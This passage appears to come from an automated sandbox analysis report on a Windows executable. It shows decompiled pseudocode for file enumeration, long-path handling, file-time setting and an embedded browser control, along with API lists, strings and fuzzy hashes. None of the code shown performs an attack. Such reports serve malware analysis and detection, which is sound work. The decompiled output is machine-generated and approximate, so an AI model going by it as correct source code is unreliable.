												_t140 = E0111E6E1(_t169, _t213, _t154, _a4);
												_t226 = _t225 + 0x10;
												__eflags = _t140;
												if(_t140 != 0) {
													L37:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E011186C9();
													asm("int3");
													_push(_t221);
													_t222 = _t226;
													_t227 = _t226 - 0x150;
													_t111 =  *0x112d668; // 0xf5f1ec05
													_v116 = _t111 ^ _t222;
													_t170 = _v100;
													_push(_t154);
													_t155 = _v104;
													_push(_t213);
													_t214 = _v96;
													_push(_t202);
													_v440 = _t214;
													while(1) {
														__eflags = _t170 - _t155;
														if(_t170 == _t155) {
															break;
														}
														_t113 =  *_t170;
														__eflags = _t113 - 0x2f;
														if(_t113 != 0x2f) {
															__eflags = _t113 - 0x5c;
															if(_t113 != 0x5c) {
																__eflags = _t113 - 0x3a;
																if(_t113 != 0x3a) {
																	_t170 = E0111E730(_t155, _t170);
																	continue;
																}
															}
														}
														break;
													}
													_t194 =  *_t170;
													__eflags = _t194 - 0x3a;
													if(_t194 != 0x3a) {
														L47:
														_t203 = 0;
														__eflags = _t194 - 0x2f;
														if(_t194 == 0x2f) {
															L51:
															_t115 = 1;
															__eflags = 1;
														} else {
															__eflags = _t194 - 0x5c;
															if(_t194 == 0x5c) {
																goto L51;
															} else {
																__eflags = _t194 - 0x3a;
																if(_t194 == 0x3a) {
																	goto L51;
																} else {
																	_t115 = 0;
																}
															}
														}
														asm("sbb eax, eax");
														_v344 =  ~(_t115 & 0x000000ff) & _t170 - _t155 + 0x00000001;
														E0110F1A0(_t203,  &_v336, _t203, 0x140);
														_t228 = _t227 + 0xc;
														_t215 = FindFirstFileExA(_t155, _t203,  &_v336, _t203, _t203, _t203);
														_t123 = _v340;
														__eflags = _t215 - 0xffffffff;
														if(_t215 != 0xffffffff) {
															_t174 =  *((intOrPtr*)(_t123 + 4)) -  *_t123;
															__eflags = _t174;
															_v348 = _t174 >> 2;
															do {
																__eflags = _v336.cFileName - 0x2e;
																if(_v336.cFileName != 0x2e) {
																	L64:
																	_push(_t123);
																	_push(_v344);
																	_t123 =  &(_v336.cFileName);
																	_push(_t155);
																	_push(_t123);
																	L28();
																	_t228 = _t228 + 0x10;
																	__eflags = _t123;
																	if(_t123 != 0) {
																		goto L54;
																	} else {
																		goto L65;
																	}
																} else {
																	_t178 = _v291;
																	__eflags = _t178;
																	if(_t178 == 0) {
																		goto L65;
																	} else {
																		__eflags = _t178 - 0x2e;
																		if(_t178 != 0x2e) {
																			goto L64;
																		} else {
																			__eflags = _v290;
																			if(_v290 == 0) {
																				goto L65;
																			} else {
																				goto L64;
																			}
																		}
																	}
																}
																goto L58;
																L65:
																_t128 = FindNextFileA(_t215,  &_v336);
																__eflags = _t128;
																_t123 = _v340;
															} while (_t128 != 0);
															_t195 =  *_t123;
															_t179 = _v348;
															_t131 =  *((intOrPtr*)(_t123 + 4)) -  *_t123 >> 2;
															__eflags = _t179 - _t131;
															if(_t179 != _t131) {
																E011158F0(_t155, _t203, _t215, _t195 + _t179 * 4, _t131 - _t179, 4, E0111A780);
															}
														} else {
															_push(_t123);
															_push(_t203);
															_push(_t203);
															_push(_t155);
															L28();
															L54:
															_t203 = _t123;
														}
														__eflags = _t215 - 0xffffffff;
														if(_t215 != 0xffffffff) {
															FindClose(_t215);
														}
													} else {
														__eflags = _t170 -  &(_t155[1]);
														if(_t170 ==  &(_t155[1])) {
															goto L47;
														} else {
															_push(_t214);
															_push(0);
															_push(0);
															_push(_t155);
															L28();
														}
													}
													L58:
													__eflags = _v16 ^ _t222;
													return E0110EA8A(_v16 ^ _t222);
												} else {
													goto L34;
												}
											}
										} else {
											_t139 = 0xc;
											L36:
											return _t139;
										}
									} else {
										goto L22;
									}
									goto L68;
									L22:
									_t196 = _v16;
									 *((intOrPtr*)(_v24 + _t199)) = _t196;
									_t199 = _t199 + 4;
									_t192 = _t196 + _v12;
									_v16 = _t196 + _v12;
									__eflags = _t199 - _t151;
								} while (_t199 != _t151);
								goto L23;
							}
						} else {
							_t200 = _t199 | 0xffffffff;
							L24:
							E0111835E(0);
							goto L25;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t160;
							_t147 = E0111E6F0( *_t208,  &_v8);
							__eflags = _t147;
							if(_t147 != 0) {
								_push( &_v36);
								_push(_t147);
								_push( *_t208);
								L38();
								_t224 = _t224 + 0xc;
							} else {
								_t147 =  &_v36;
								_push(_t147);
								_push(0);
								_push(0);
								_push( *_t208);
								L28();
								_t224 = _t224 + 0x10;
							}
							_t200 = _t147;
							__eflags = _t200;
							if(_t200 != 0) {
								break;
							}
							_t208 = _t208 + 4;
							_t160 = 0;
							__eflags =  *_t208;
							if( *_t208 != 0) {
								continue;
							} else {
								_t151 = _v336.cAlternateFileName;
								_t199 = _v36;
								goto L9;
							}
							goto L68;
						}
						L25:
						E0111AB42( &_v36);
						_t91 = _t200;
						goto L26;
					}
				} else {
					_t148 = E011187DA();
					_t219 = 0x16;
					 *_t148 = _t219;
					E011186B9();
					_t91 = _t219;
					L26:
					return _t91;
				}
				L68:
			}

0x0111a79d
0x0111a7a0
0x0111a7a6
0x0111a7be
0x0111a7c1
0x0111a7c5
0x0111a7c7
0x0111a7c9
0x0111a7cb
0x0111a7ce
0x0111a7d1
0x0111a7d4
0x0111a7d6
0x0111a82e
0x0111a82e
0x0111a834
0x0111a836
0x0111a841
0x0111a845
0x0111a847
0x0111a84a
0x0111a84e
0x0111a84e
0x0111a850
0x0111a852
0x0111a854
0x0111a856
0x0111a856
0x0111a858
0x0111a85b
0x0111a85e
0x0111a85e
0x0111a860
0x0111a861
0x0111a861
0x0111a86c
0x0111a86e
0x0111a871
0x0111a872
0x0111a875
0x0111a875
0x0111a879
0x0111a87c
0x0111a87f
0x0111a87f
0x0111a88d
0x0111a88f
0x0111a892
0x0111a894
0x0111a89e
0x0111a8a1
0x0111a8a4
0x0111a8a6
0x0111a8a9
0x0111a8ab
0x0111a8fb
0x0111a8fe
0x0111a8fe
0x0111a900
0x00000000
0x0111a8ad
0x0111a8af
0x0111a8af
0x0111a8b1
0x0111a8b4
0x0111a8b4
0x0111a8b9
0x0111a8bc
0x0111a8bc
0x0111a8be
0x0111a8bf
0x0111a8bf
0x0111a8c3
0x0111a8c6
0x0111a8c6
0x0111a8c9
0x0111a8cc
0x0111a8d9
0x0111a8de
0x0111a8e1
0x0111a8e3
0x0111a91d
0x0111a91e
0x0111a91f
0x0111a920
0x0111a921
0x0111a922
0x0111a927
0x0111a92b
0x0111a92d
0x0111a92e
0x0111a931
0x0111a931
0x0111a934
0x0111a934
0x0111a936
0x0111a937
0x0111a937
0x0111a940
0x0111a941
0x0111a944
0x0111a947
0x0111a94a
0x0111a94c
0x0111a953
0x0111a955
0x0111a958
0x0111a962
0x0111a965
0x0111a966
0x0111a968
0x0111a97c
0x0111a97c
0x0111a97f
0x0111a989
0x0111a98e
0x0111a991
0x0111a993
0x00000000
0x0111a995
0x0111a999
0x0111a9a2
0x0111a9a8
0x00000000
0x0111a9ab
0x0111a96a
0x0111a96a
0x0111a970
0x0111a975
0x0111a978
0x0111a97a
0x0111a9b1
0x0111a9b3
0x0111a9b4
0x0111a9b5
0x0111a9b6
0x0111a9b7
0x0111a9b8
0x0111a9bd
0x0111a9c0
0x0111a9c1
0x0111a9c3
0x0111a9c9
0x0111a9d0
0x0111a9d3
0x0111a9d6
0x0111a9d7
0x0111a9da
0x0111a9db
0x0111a9de
0x0111a9df
0x0111aa00
0x0111aa00
0x0111aa02
0x00000000
0x00000000
0x0111a9e7
0x0111a9e9
0x0111a9eb
0x0111a9ed
0x0111a9ef
0x0111a9f1
0x0111a9f3
0x0111a9fe
0x00000000
0x0111a9fe
0x0111a9f3
0x0111a9ef
0x00000000
0x0111a9eb
0x0111aa04
0x0111aa06
0x0111aa09
0x0111aa22
0x0111aa22
0x0111aa24
0x0111aa27
0x0111aa37
0x0111aa39
0x0111aa39
0x0111aa29
0x0111aa29
0x0111aa2c
0x00000000
0x0111aa2e
0x0111aa2e
0x0111aa31
0x00000000
0x0111aa33
0x0111aa33
0x0111aa33
0x0111aa31
0x0111aa2c
0x0111aa47
0x0111aa4b
0x0111aa59
0x0111aa5e
0x0111aa73
0x0111aa75
0x0111aa7b
0x0111aa7e
0x0111aab0
0x0111aab0
0x0111aab5
0x0111aabb
0x0111aabb
0x0111aac2
0x0111aadc
0x0111aadc
0x0111aadd
0x0111aae3
0x0111aae9
0x0111aaea
0x0111aaeb
0x0111aaf0
0x0111aaf3
0x0111aaf5
0x00000000
0x00000000
0x00000000
0x00000000
0x0111aac4
0x0111aac4
0x0111aaca
0x0111aacc
0x00000000
0x0111aace
0x0111aace
0x0111aad1
0x00000000
0x0111aad3
0x0111aad3
0x0111aada
0x00000000
0x00000000
0x00000000
0x00000000
0x0111aada
0x0111aad1
0x0111aacc
0x00000000
0x0111aaf7
0x0111aaff
0x0111ab05
0x0111ab07
0x0111ab07
0x0111ab0f
0x0111ab14
0x0111ab1c
0x0111ab1f
0x0111ab21
0x0111ab35
0x0111ab3a
0x0111aa80
0x0111aa80
0x0111aa81
0x0111aa82
0x0111aa83
0x0111aa84
0x0111aa8c
0x0111aa8c
0x0111aa8c
0x0111aa8e
0x0111aa91
0x0111aa94
0x0111aa94
0x0111aa0b
0x0111aa0e
0x0111aa10
0x00000000
0x0111aa12
0x0111aa12
0x0111aa15
0x0111aa16
0x0111aa17
0x0111aa18
0x0111aa1d
0x0111aa10
0x0111aa9c
0x0111aaa1
0x0111aaac
0x00000000
0x00000000
0x00000000
0x0111a97a
0x0111a94e
0x0111a950
0x0111a9ac
0x0111a9b0
0x0111a9b0
0x00000000
0x00000000
0x00000000
0x00000000
0x0111a8e5
0x0111a8e8
0x0111a8eb
0x0111a8ee
0x0111a8f1
0x0111a8f4
0x0111a8f7
0x0111a8f7
0x00000000
0x0111a8b4
0x0111a896
0x0111a896
0x0111a902
0x0111a904
0x00000000
0x0111a909
0x0111a7d8
0x0111a7d8
0x0111a7db
0x0111a7e4
0x0111a7e7
0x0111a7ee
0x0111a7f0
0x0111a809
0x0111a80a
0x0111a80b
0x0111a80d
0x0111a812
0x0111a7f2
0x0111a7f2
0x0111a7f5
0x0111a7f6
0x0111a7f8
0x0111a7fa
0x0111a7fc
0x0111a801
0x0111a801
0x0111a815
0x0111a817
0x0111a819
0x00000000
0x00000000
0x0111a81f
0x0111a822
0x0111a824
0x0111a826
0x00000000
0x0111a828
0x0111a828
0x0111a82b
0x00000000
0x0111a82b
0x00000000
0x0111a826
0x0111a90a
0x0111a90d
0x0111a912
0x00000000
0x0111a915
0x0111a7a8
0x0111a7a8
0x0111a7af
0x0111a7b0
0x0111a7b2
0x0111a7b7
0x0111a916
0x0111a91a
0x0111a91a
0x00000000

APIs

_free.LIBCMT ref: 0111A904

Part of subcall function 011186C9: IsProcessorFeaturePresent.KERNEL32(00000017,011186B8,0000002C,0112AC20,0111B8E6,00000000,00000000,01118EA8,?,?,011186C5,00000000,00000000,00000000,00000000,00000000), ref: 011186CB
Part of subcall function 011186C9: GetCurrentProcess.KERNEL32(C0000417,0112AC20,0000002C,011183F6,00000016,01118EA8), ref: 011186ED
Part of subcall function 011186C9: TerminateProcess.KERNEL32(00000000), ref: 011186F4

Strings

*?, xrefs: 0111A7DB
., xrefs: 0111AABB

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 7862bbd4a364659598cbf5db2284bf22e5480a30c37370ad1f5e95b10fff7af4
Instruction ID: a4e116028f581f1f357e35d9849554760991a85a1d5e341546efaeb26bce2669
Opcode Fuzzy Hash: 7862bbd4a364659598cbf5db2284bf22e5480a30c37370ad1f5e95b10fff7af4
Instruction Fuzzy Hash: 4A51BE75E0120AAFDF19CFA8D880AADFBB5EF48314F258179D944E7349E7319A028B50

Uniqueness

Uniqueness Score: -1.00%

Function 010F7704, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138
timeCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E010F7704(void* __ecx, void* __edx) {
				void* __esi;
				char _t54;
				signed int _t57;
				void* _t61;
				signed int _t62;
				signed int _t68;
				signed int _t85;
				void* _t90;
				void* _t99;
				void* _t101;
				intOrPtr* _t106;
				void* _t108;

				_t99 = __edx;
				E0110E0E4(0x1121c30, _t108);
				E0110E1C0();
				_t106 =  *((intOrPtr*)(_t108 + 0xc));
				if( *_t106 == 0) {
					L3:
					_t101 = 0x802;
					E010FFD96(_t108 - 0x1014, _t106, 0x802);
					L4:
					_t81 =  *((intOrPtr*)(_t108 + 8));
					E010F7907(_t106,  *((intOrPtr*)(_t108 + 8)), _t108 - 0x4080, 0x800);
					_t113 =  *((short*)(_t108 - 0x4080)) - 0x3a;
					if( *((short*)(_t108 - 0x4080)) == 0x3a) {
						__eflags =  *((char*)(_t108 + 0x10));
						if(__eflags == 0) {
							E010FFD6E(__eflags, _t108 - 0x1014, _t108 - 0x4080, _t101);
							E010F7098(_t108 - 0x3080);
							_push(0);
							_t54 = E010FA406(_t108 - 0x3080, _t99, __eflags, _t106, _t108 - 0x3080);
							_t85 =  *(_t108 - 0x2078);
							 *((char*)(_t108 - 0xd)) = _t54;
							__eflags = _t85 & 0x00000001;
							if((_t85 & 0x00000001) != 0) {
								__eflags = _t85 & 0xfffffffe;
								E010FA384(_t106, _t85 & 0xfffffffe);
							}
							E010F95B6(_t108 - 0x2038);
							 *((intOrPtr*)(_t108 - 4)) = 1;
							_t57 = E010F9E0F(_t108 - 0x2038, __eflags, _t108 - 0x1014, 0x11);
							__eflags = _t57;
							if(_t57 != 0) {
								_push(0);
								_push(_t108 - 0x2038);
								_push(0);
								_t68 = E010F3B26(_t81, _t99);
								__eflags = _t68;
								if(_t68 != 0) {
									E010F9670(_t108 - 0x2038);
								}
							}
							E010F95B6(_t108 - 0x50a4);
							__eflags =  *((char*)(_t108 - 0xd));
							 *((char*)(_t108 - 4)) = 2;
							if( *((char*)(_t108 - 0xd)) != 0) {
								_t62 = E010F9950(_t108 - 0x50a4, _t106, _t106, 5);
								__eflags = _t62;
								if(_t62 != 0) {
									SetFileTime( *(_t108 - 0x50a0), _t108 - 0x2058, _t108 - 0x2050, _t108 - 0x2048);
								}
							}
							E010FA384(_t106,  *(_t108 - 0x2078));
							E010F95E8(_t108 - 0x50a4, _t106);
							_t90 = _t108 - 0x2038;
						} else {
							E010F95B6(_t108 - 0x60c8);
							_push(1);
							_push(_t108 - 0x60c8);
							_push(0);
							 *((intOrPtr*)(_t108 - 4)) = 0;
							E010F3B26(_t81, _t99);
							_t90 = _t108 - 0x60c8;
						}
						_t61 = E010F95E8(_t90, _t106);
					} else {
						E010F7032(_t113, 0x53, _t81 + 0x1e, _t106);
						_t61 = E010F6F5B(0x112ff50, 3);
					}
					 *[fs:0x0] =  *((intOrPtr*)(_t108 - 0xc));
					return _t61;
				}
				_t112 =  *((intOrPtr*)(_t106 + 2));
				if( *((intOrPtr*)(_t106 + 2)) != 0) {
					goto L3;
				} else {
					_t101 = 0x802;
					E010FFD96(_t108 - 0x1014, 0x1122760, 0x802);
					E010FFD6E(_t112, _t108 - 0x1014, _t106, 0x802);
					goto L4;
				}
			}

0x010f7704
0x010f7709
0x010f7713
0x010f771a
0x010f7723
0x010f7752
0x010f7752
0x010f7760
0x010f7765
0x010f7765
0x010f7775
0x010f777a
0x010f7782
0x010f77a1
0x010f77a5
0x010f77e2
0x010f77ed
0x010f77fa
0x010f77fd
0x010f7802
0x010f7808
0x010f780b
0x010f780e
0x010f7810
0x010f7815
0x010f7815
0x010f7820
0x010f782d
0x010f783b
0x010f7840
0x010f7842
0x010f7844
0x010f784d
0x010f784e
0x010f784f
0x010f7854
0x010f7856
0x010f785e
0x010f785e
0x010f7856
0x010f7869
0x010f786e
0x010f7872
0x010f7876
0x010f7881
0x010f7886
0x010f7888
0x010f78a5
0x010f78a5
0x010f7888
0x010f78b2
0x010f78bd
0x010f78c2
0x010f77a7
0x010f77ad
0x010f77b2
0x010f77bc
0x010f77bd
0x010f77c0
0x010f77c3
0x010f77c8
0x010f77c8
0x010f78c8
0x010f7784
0x010f778b
0x010f7797
0x010f7797
0x010f78d3
0x010f78dd
0x010f78dd
0x010f7725
0x010f7729
0x00000000
0x010f772b
0x010f772b
0x010f773d
0x010f774b
0x00000000
0x010f774b

APIs

__EH_prolog.LIBCMT ref: 010F7709
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 010F78A5

Part of subcall function 010FA384: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,010FA1BA,?,?,?,010FA053,?,00000001,00000000,?,?), ref: 010FA398
Part of subcall function 010FA384: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,010FA1BA,?,?,?,010FA053,?,00000001,00000000,?,?), ref: 010FA3C9

Strings

:, xrefs: 010F777A

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: 984ed3c0f45c3e84e3a0f88f16063c7ceaf4114c7e6e406e86aed85d03ef73ff
Instruction ID: 7f2510e10c7a44d29b512433ac0329cdfd5a32adb50f4a048d0c3a8330b35d83
Opcode Fuzzy Hash: 984ed3c0f45c3e84e3a0f88f16063c7ceaf4114c7e6e406e86aed85d03ef73ff
Instruction Fuzzy Hash: B2418E71900219AAEB25EB54CC56EEE77BDAF55300F0080EDF789A7480DB745B89CB62

Uniqueness

Uniqueness Score: -1.00%

Function 010FB5AC, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E010FB5AC(signed short* _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v4096;
				short _v4100;
				signed short* _t30;
				long _t32;
				short _t33;
				void* _t39;
				signed short* _t52;
				void* _t53;
				signed short* _t62;
				void* _t66;
				intOrPtr _t69;
				signed short* _t71;
				intOrPtr _t73;

				E0110E1C0();
				_t71 = _a4;
				if( *_t71 != 0) {
					E010FB746(_t71);
					_t66 = E011133F3(_t71);
					_t30 = E010FB772(_t71);
					__eflags = _t30;
					if(_t30 == 0) {
						_t32 = GetCurrentDirectoryW(0x7ff,  &_v4100);
						__eflags = _t32;
						if(_t32 == 0) {
							L22:
							_t33 = 0;
							__eflags = 0;
							L23:
							goto L24;
						}
						__eflags = _t32 - 0x7ff;
						if(_t32 > 0x7ff) {
							goto L22;
						}
						__eflags = E010FB84D( *_t71 & 0x0000ffff);
						if(__eflags == 0) {
							E010FB147(__eflags,  &_v4100, 0x800);
							_t39 = E011133F3( &_v4100);
							_t69 = _a12;
							__eflags = _t69 - _t39 + _t66 + 4;
							if(_t69 <= _t39 + _t66 + 4) {
								goto L22;
							}
							E010FFD96(_a8, L"\\\\?\\", _t69);
							E010FFD6E(__eflags, _a8,  &_v4100, _t69);
							__eflags =  *_t71 - 0x2e;
							if(__eflags == 0) {
								__eflags = E010FB84D(_t71[1] & 0x0000ffff);
								if(__eflags != 0) {
									_t71 =  &(_t71[2]);
									__eflags = _t71;
								}
							}
							L19:
							_push(_t69);
							L20:
							_push(_t71);
							L21:
							_push(_a8);
							E010FFD6E(__eflags);
							_t33 = 1;
							goto L23;
						}
						_t13 = _t66 + 6; // 0x6
						_t69 = _a12;
						__eflags = _t69 - _t13;
						if(_t69 <= _t13) {
							goto L22;
						}
						E010FFD96(_a8, L"\\\\?\\", _t69);
						_v4096 = 0;
						E010FFD6E(__eflags, _a8,  &_v4100, _t69);
						goto L19;
					}
					_t52 = E010FB746(_t71);
					__eflags = _t52;
					if(_t52 == 0) {
						_t53 = 0x5c;
						__eflags =  *_t71 - _t53;
						if( *_t71 != _t53) {
							goto L22;
						}
						_t62 =  &(_t71[1]);
						__eflags =  *_t62 - _t53;
						if( *_t62 != _t53) {
							goto L22;
						}
						_t73 = _a12;
						_t9 = _t66 + 6; // 0x6
						__eflags = _t73 - _t9;
						if(_t73 <= _t9) {
							goto L22;
						}
						E010FFD96(_a8, L"\\\\?\\", _t73);
						E010FFD6E(__eflags, _a8, L"UNC", _t73);
						_push(_t73);
						_push(_t62);
						goto L21;
					}
					_t2 = _t66 + 4; // 0x4
					__eflags = _a12 - _t2;
					if(_a12 <= _t2) {
						goto L22;
					}
					E010FFD96(_a8, L"\\\\?\\", _a12);
					_push(_a12);
					goto L20;
				} else {
					_t33 = 0;
					L24:
					return _t33;
				}
			}

0x010fb5b4
0x010fb5ba
0x010fb5c1
0x010fb5cd
0x010fb5da
0x010fb5dc
0x010fb5e1
0x010fb5e3
0x010fb669
0x010fb66f
0x010fb671
0x010fb730
0x010fb730
0x010fb730
0x010fb732
0x00000000
0x010fb733
0x010fb677
0x010fb679
0x00000000
0x00000000
0x010fb688
0x010fb68a
0x010fb6cf
0x010fb6db
0x010fb6e5
0x010fb6e9
0x010fb6eb
0x00000000
0x00000000
0x010fb6f6
0x010fb706
0x010fb70b
0x010fb70f
0x010fb71b
0x010fb71d
0x010fb71f
0x010fb71f
0x010fb71f
0x010fb71d
0x010fb722
0x010fb722
0x010fb723
0x010fb723
0x010fb724
0x010fb724
0x010fb727
0x010fb72c
0x00000000
0x010fb72c
0x010fb68c
0x010fb68f
0x010fb692
0x010fb694
0x00000000
0x00000000
0x010fb6a3
0x010fb6aa
0x010fb6bc
0x00000000
0x010fb6bc
0x010fb5e6
0x010fb5eb
0x010fb5ed
0x010fb615
0x010fb616
0x010fb619
0x00000000
0x00000000
0x010fb61f
0x010fb622
0x010fb625
0x00000000
0x00000000
0x010fb62b
0x010fb62e
0x010fb631
0x010fb633
0x00000000
0x00000000
0x010fb642
0x010fb650
0x010fb655
0x010fb656
0x00000000
0x010fb656
0x010fb5ef
0x010fb5f2
0x010fb5f5
0x00000000
0x00000000
0x010fb606
0x010fb60b
0x00000000
0x010fb5c3
0x010fb5c3
0x010fb734
0x010fb738
0x010fb738

Strings

UNC, xrefs: 010FB648
\\?\, xrefs: 010FB5FE, 010FB63A, 010FB69B, 010FB6EE

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: 6a865c5deee08fd8eb421698caaf6f5299416eb15b8f5cddc80890812ae1dd13
Instruction ID: 03f1a7d3dc8b57942eb7ca361b45468add0d06eb6210dd62dcbd2639a32c75e0
Opcode Fuzzy Hash: 6a865c5deee08fd8eb421698caaf6f5299416eb15b8f5cddc80890812ae1dd13
Instruction Fuzzy Hash: B941603140031AAACB21AE65DC82EEF7BEABF15390B0844ADFAE496950D770E9509F51

Uniqueness

Uniqueness Score: -1.00%

Function 01108F06, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E01108F06(void* __edx, void* __edi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v4;
				signed int* _v20;
				void* __ecx;
				void* __esi;
				intOrPtr _t21;
				char _t22;
				signed int* _t26;
				intOrPtr* _t28;
				intOrPtr _t30;
				void* _t32;
				void* _t34;
				void* _t35;
				void* _t50;
				intOrPtr _t53;
				intOrPtr _t54;
				signed int* _t58;

				_t50 = __edi;
				_t34 = _t35;
				_t53 = _a4;
				 *((intOrPtr*)(_t34 + 4)) = _t53;
				_t21 = E0110E0A0(__edx, _t53, __eflags, 0x30);
				_v4 = _t21;
				if(_t21 == 0) {
					_t22 = 0;
					__eflags = 0;
				} else {
					_t22 = E0110875E(_t21);
				}
				 *((intOrPtr*)(_t34 + 0xc)) = _t22;
				if(_t22 == 0) {
					return _t22;
				} else {
					 *((intOrPtr*)(_t22 + 0x18)) = _t53;
					E0110977F( *((intOrPtr*)(_t34 + 0xc)), L"Shell.Explorer");
					_push(1);
					E011099DE();
					E01109974( *((intOrPtr*)(_t34 + 0xc)), 1);
					_t26 = E01109871( *((intOrPtr*)(_t34 + 0xc)));
					_t58 = _t26;
					if(_t58 == 0) {
						L7:
						__eflags =  *((intOrPtr*)(_t34 + 0x10));
						if( *((intOrPtr*)(_t34 + 0x10)) != 0) {
							E01108976(_t34);
							_t28 =  *((intOrPtr*)(_t34 + 0x10));
							__eflags =  *((intOrPtr*)(_t34 + 0x20));
							_push(0);
							 *((char*)(_t34 + 0x25)) = 0;
							_t54 =  *_t28;
							_push(0);
							_push(0);
							_push(0);
							if( *((intOrPtr*)(_t34 + 0x20)) == 0) {
								_push(L"about:blank");
							} else {
								_push( *((intOrPtr*)(_t34 + 0x20)));
							}
							 *0x1122260(_t28);
							_t26 =  *((intOrPtr*)(_t54 + 0x2c))();
						}
						L12:
						return _t26;
					}
					_t10 = _t34 + 0x10; // 0x10
					_t30 = _t10;
					_v4 = _t30;
					 *0x1122260(_t58, 0x11243fc, _t30, _t50);
					_t32 =  *((intOrPtr*)( *( *_t58)))();
					 *0x1122260(_t58);
					_t26 =  *((intOrPtr*)( *((intOrPtr*)( *_t58 + 8))))();
					if(_t32 >= 0) {
						goto L7;
					}
					_t26 = _v20;
					 *_t26 =  *_t26 & 0x00000000;
					goto L12;
				}
			}

0x01108f06
0x01108f08
0x01108f0b
0x01108f11
0x01108f14
0x01108f19
0x01108f20
0x01108f2b
0x01108f2b
0x01108f22
0x01108f24
0x01108f24
0x01108f2d
0x01108f32
0x01108fe5
0x01108f38
0x01108f39
0x01108f44
0x01108f4c
0x01108f4e
0x01108f58
0x01108f60
0x01108f65
0x01108f69
0x01108faa
0x01108faa
0x01108fae
0x01108fb2
0x01108fb7
0x01108fbc
0x01108fbf
0x01108fc0
0x01108fc3
0x01108fc5
0x01108fc6
0x01108fc7
0x01108fcb
0x01108fd2
0x01108fcd
0x01108fcd
0x01108fcd
0x01108fd8
0x01108fde
0x01108fde
0x01108fe1
0x00000000
0x01108fe1
0x01108f6e
0x01108f6e
0x01108f7d
0x01108f81
0x01108f87
0x01108f94
0x01108f9a
0x01108f9f
0x00000000
0x00000000
0x01108fa1
0x01108fa5
0x00000000
0x01108fa5

APIs

new.LIBCMT ref: 01108F14

Strings

Shell.Explorer, xrefs: 01108F3F
about:blank, xrefs: 01108FD2

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 565513d3d1baa4a03f7e6c50ecd5cc2ff0f96aff6cb2e4a34d5137a7d856d048
Instruction ID: 70558fb0f7a24bb5b58dcde0bc0a944ab96dec51fa43ecb392aceeb967644cc6
Opcode Fuzzy Hash: 565513d3d1baa4a03f7e6c50ecd5cc2ff0f96aff6cb2e4a34d5137a7d856d048
Instruction Fuzzy Hash: C3218571E183159FDB1EAF75C894A3A77A5FF44714B04846DEA0A8F2D5DBB0E800CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0110D2A3, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E0110D2A3(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16) {
				void* _v4100;
				void* __ebx;
				int _t18;
				void* _t20;
				signed int _t23;
				void* _t26;
